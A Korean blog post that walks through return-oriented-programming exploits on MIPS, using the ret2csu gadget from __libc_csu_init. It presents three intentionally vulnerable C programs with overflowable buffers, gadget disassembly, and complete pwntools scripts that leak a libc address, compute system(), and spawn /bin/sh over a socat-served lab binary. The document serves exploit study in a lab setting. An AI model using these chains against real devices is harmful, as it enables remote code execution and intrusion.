Self-Improvement

MIPS ROP 예제들 (memory leak, not shellcode, ret2csu) 본문

MIPS

MIPS ROP 예제들 (memory leak, not shellcode, ret2csu)

JoGeun 2021. 3. 18. 16:10

사전 정보

1. 컴파일한 바이너리는 "socat socat tcp-listen:3312,reuseaddr,fork EXEC:./rop" 명령어로 대기한 상태에서 수행하였다.

2. memory leak 방식의 ROP할 때는 Shellcode를 당연히 사용하지 않음으로 mips의 cache 문제를 다룰 필요가 없다.

3. mips에는 분기지연슬롯과 cache 일관성 특징이 존재한다

 

소스코드1 (Bof Size 공간 부족 -> vuln() 재 호출 및 Payload 분할 전송 0x98, 0x98, 0x60)

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[32];
    read(0, buf, 0x100);
}

int main()
{
    write(1, "Welcome to mips ROP!\n", 21);
    vuln();
    return 0;
}

 

필요한 Address

IDA에서 구한 주소

vuln() 주소를 구한 것은 실질적으로 Payload를 한번에 보내기엔 bof size가 작기에 다시 vuln()을 호출하여 bof를 유발하는 방식을 반복하여 ROP를 한다.

write_plt = 0x400950
write_got = 0x410978
vuln_addr = 0x400740
read_got = 0x410974

 

objdump -h 명령어

bss_addr = 0x4109e0

 

라이브러리에서 p write-system의 offset

offset = 0x9dff0

 

가젯

다른 아키텍쳐에서도 고르게 사용되는 __libc_csu_init 가젯이다.

Gadget2에서 Gadget1의 순서로 호출하는데 Gadget1을 보면 $a0, $a1, $a2의 인자를 $s3, $s4, $s5로 맞춰주고 있으며 $s1을 call로 사용하고 있다.

그리하여 Gadget2에서 $s1, $s3, $s4, $s5에 대해서 셋팅해주며 Gadget1에서 셋팅한 대로 함수를 실행 후에는 $s0, $s2를 비교하게 되는 이 부분은 다른 아키텍쳐에서도 사용해왔듯이 설명은 생략하겠다. 한마디로는 Chain을 이룰 수 있다.

Gadget1 = 0x400830
Gadget2 = 0x400850

.text:00400830 loc_400830:                              # CODE XREF: __libc_csu_init+78↓j
.text:00400830                 lw      $t9, 0($s1)
.text:00400834                 move    $a0, $s3
.text:00400838                 move    $a1, $s4
.text:0040083C                 move    $a2, $s5
.text:00400840                 jalr    $t9
.text:00400844                 addiu   $s0, 1
.text:00400848                 bne     $s0, $s2, loc_400830
.text:0040084C                 addiu   $s1, 4
.text:00400794
.text:00400850 loc_400850:                              # CODE XREF: __libc_csu_init+58↑j
.text:00400850                 lw      $ra, 0x38+var_4($sp)
.text:00400854                 lw      $s5, 0x38+var_8($sp)
.text:00400858                 lw      $s4, 0x38+var_C($sp)
.text:0040085C                 lw      $s3, 0x38+var_10($sp)
.text:00400860                 lw      $s2, 0x38+var_14($sp)
.text:00400864                 lw      $s1, 0x38+var_18($sp)
.text:00400868                 lw      $s0, 0x38+var_1C($sp)
.text:0040086C                 jr      $ra
.text:00400870                 addiu   $sp, 0x38

 

 

Python

sleep(1)을 해서 정확한 페이로드를 바이너리가 받을 수 있도록 해준다. (안하면 익스가 제대로 안된다)

from pwn import *
import sys

#context.log_level='debug'

p=remote('192.168.1.47',3312)

write_plt = 0x400950
write_got = 0x410978
vuln_addr = 0x400740
bss_addr = 0x4109e0
read_got = 0x410974
offset = 0x9dff0 # write-system
gadget1 = 0x400830
gadget2 = 0x400850

p.recvuntil("Welcome to mips ROP!\n")

def ret2csu(call, a0, a1, a2):
	payload=p32(0) # $s0
	payload+=p32(call) # $s1
	payload+=p32(1) # $s2
	payload+=p32(a0) # $s3
	payload+=p32(a1) # $s4
	payload+=p32(a2) # $s5
	payload+=p32(gadget1) # $ra
	return payload

# write(1, write_got, 4)
payload1= b"a"*36 + p32(gadget2) + b"b"*28
payload1+=ret2csu(write_got,1,write_got,4)
payload1+=b"a"*52 + p32(vuln_addr) # vuln call
p.send(payload1)

write_addr = u32(p.recv(4))
print ("[+] write_addr: " + hex(write_addr))
system_addr = write_addr - offset
print ("[+] system_addr: " + hex(system_addr))

# read_got(0, bss_addr, 16)
payload2= b"a"*36 + p32(gadget2) + b"b"*28
payload2+=ret2csu(read_got,0,bss_addr,16)
payload2+=b"a"*52 + p32(vuln_addr)
p.send(payload2)
p.send(p32(system_addr) + b"/bin/sh\x00")

# ???
sleep(1)

# bss_addr(bss_addr+4)
payload3= b"a"*36 + p32(gadget2) + b"b"*28
payload3+=ret2csu(bss_addr,bss_addr+4,0,0)
p.send(payload3)

p.interactive()

 

코드설명

Gadget으로 사용되는 __libc_csu_init의 $s1, $s3, $s4, $s5에 대해 셋팅하는 부분의 반복적인 것을 함수로 나타낸 것이다.

def ret2csu(call, a0, a1, a2):
	payload=p32(0)
	payload+=p32(call)
	payload+=p32(1)
	payload+=p32(a0)
	payload+=p32(a1)
	payload+=p32(a2)
	payload+=p32(gadget1)
	return payload

 

1. a*36으로 bof를 유발한 후 gadget2를 ret에 셋팅해준다.

2. b*28과 그 뒤 ret2csu 함수를 호출한 byte까지 합치면 52byte로 Gadget2에서 "addiu   $sp, 0x38"에 맞춰서 dummy b*28를 해준 것이다.

3. ret2csu()에 의해 ret가 Gadget1으로 셋팅되어 실행되고 write_got(1, write_got, 4)를 호출하여 write의 주소를 얻어낼 수 있다.

4. 위 call 한 후 다시 Gadget2가 실행되는데 이때도 [2]번과 같이 "addiu   $sp, 0x38"에 맞춰서 dummy a*52를 해주고 ret를 vuln_addr로 셋팅해준다.

BOF -> ret setting Gadget2 -> $s1, $s3, $s4, $s5 setting ->Gadget1 -> write() call -> Gadget2 -> vuln_addr()

payload1= b"a"*36 + p32(gadget2) + b"b"*28
payload1+=ret2csu(write_got,1,write_got,4)
payload1+=b"a"*52 + p32(vuln_addr) # vuln call

 

얻은 write 주소를 통해 사전에 구한 write-system offset을 이용하여 system의 주소를 구해준다.

write_addr = u32(p.recv(4))
print ("[+] write_addr: " + hex(write_addr))
system_addr = write_addr - offset
print ("[+] system_addr: " + hex(system_addr))

 

이번에는 read()를 call하여 위에서 구한 system주소 "/bin/sh\x00"을 bss영역에 작성해준다.

payload2= b"a"*36 + p32(gadget2) + b"b"*28
payload2+=ret2csu(read_got,0,bss_addr,16)
payload2+=b"a"*52 + p32(vuln_addr)
p.send(payload2)
p.send(p32(system_addr) + b"/bin/sh\x00")

 

sleep(1)을 해야하는 이유는 아직도 모른다.... 안하면 동작이 안되어진다

이제는 bss영역에 저장된 system 주소와 인자로 줄 "/bin/sh\x00" 영역을 호출하면 쉘이 떨어진다.

sleep(1)

# bss_addr(bss_addr+4)
payload3= b"a"*36 + p32(gadget2) + b"b"*28
payload3+=ret2csu(bss_addr,bss_addr+4,0,0)
p.send(payload3)

p.interactive()

 

결과

 


 

소스코드2 (Bof Size 충분 -> 하나의 Payload로 처리 208 bytes)

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[32];
    read(0, buf, 0x100);
}

int main()
{
    write(1, "Welcome to mips ROP!\n", 21);
    vuln();
    return 0;
}

 

필요한 Address

[소스코드1]에서 했던 주소와 동일하다. 

 

Python

from pwn import *
import sys

context.log_level='debug'

p=remote('192.168.1.47',3312)

write_plt = 0x400950
write_got = 0x410978
#vuln_addr = 0x400740
bss_addr = 0x4109e0
read_got = 0x410974
offset = 0x9dff0 # write-system
gadget1 = 0x400830
gadget2 = 0x400850

p.recvuntil("Welcome to mips ROP!\n")

def ret2csu(call, a0, a1, a2):
	payload=p32(0) # $s0
	payload+=p32(call) # $s1
	payload+=p32(1) # $s2
	payload+=p32(a0) # $s3
	payload+=p32(a1) # $s4
	payload+=p32(a2) # $s5
	payload+=p32(gadget1) # $ra
	return payload

payload1 =  b"a"*36 + p32(gadget2)
payload1 += b"b"*28 + ret2csu(write_got,1,write_got,4)
payload1 += b"b"*28 + ret2csu(read_got, 0, bss_addr, 16)
payload1 += b"b"*28 + ret2csu(bss_addr, bss_addr+4, 0, 0)
p.send(payload1)

write_addr = u32(p.recv(4))
print ("[+] write_addr: " + hex(write_addr))
system_addr = write_addr - offset
print ("[+] system_addr: " + hex(system_addr))

p.send(p32(system_addr) + b"/bin/sh\x00")

p.interactive()

 

코드설명

지난 코드에서는 bof 공간이 부족하여 vuln() 함수를 재차 call하여 chain을 이어나갔지만 bof 할 수 있는 공간이 충분하여 하나의 Payload로 작성할 경우엔 아래와 같이 간결하게 할 수 있다.

'''
payload1= b"a"*36 + p32(gadget2) + b"b"*28
payload1+=ret2csu(write_got,1,write_got,4)
payload1+=b"a"*52 + p32(vuln_addr) 
'''

payload1 =  b"a"*36 + p32(gadget2)
payload1 += b"b"*28 + ret2csu(write_got,1,write_got,4)
payload1 += b"b"*28 + ret2csu(read_got, 0, bss_addr, 16)
payload1 += b"b"*28 + ret2csu(bss_addr, bss_addr+4, 0, 0)

 

결과

 


 

소스코드3 (main에서 익스해도 동일하다.)

#include <stdio.h>
#include <unistd.h>

int main()
{
    char buf[32];
    read(0, buf, 0x100);
    write(1, "Welcome to mips ROP!\n", 21);
    return 0;
}

 

Python

from pwn import *
import sys

#context.log_level='debug'

p=remote('192.168.1.47',3312)

write_plt = 0x400910
write_got = 0x410938
#vuln_addr = 0x400740
bss_addr = 0x4109a0
read_got = 0x410934
offset = 0x9dff0 # write-system
gadget1 = 0x400800
gadget2 = 0x400820

def ret2csu(call, a0, a1, a2):
	payload=p32(0) # $s0
	payload+=p32(call) # $s1
	payload+=p32(1) # $s2
	payload+=p32(a0) # $s3
	payload+=p32(a1) # $s4
	payload+=p32(a2) # $s5
	payload+=p32(gadget1) # $ra
	return payload


payload1 =  b"a"*36 + p32(gadget2)
payload1 += b"b"*28 + ret2csu(write_got,1,write_got,4)
payload1 += b"b"*28 + ret2csu(read_got, 0, bss_addr, 16)
payload1 += b"b"*28 + ret2csu(bss_addr, bss_addr+4, 0, 0)
p.send(payload1)

p.recvuntil("Welcome to mips ROP!\n")

write_addr = u32(p.recv(4))
print ("[+] write_addr: " + hex(write_addr))
system_addr = write_addr - offset
print ("[+] system_addr: " + hex(system_addr))
p.send(p32(system_addr) + b"/bin/sh\x00")

p.interactive()

 

결과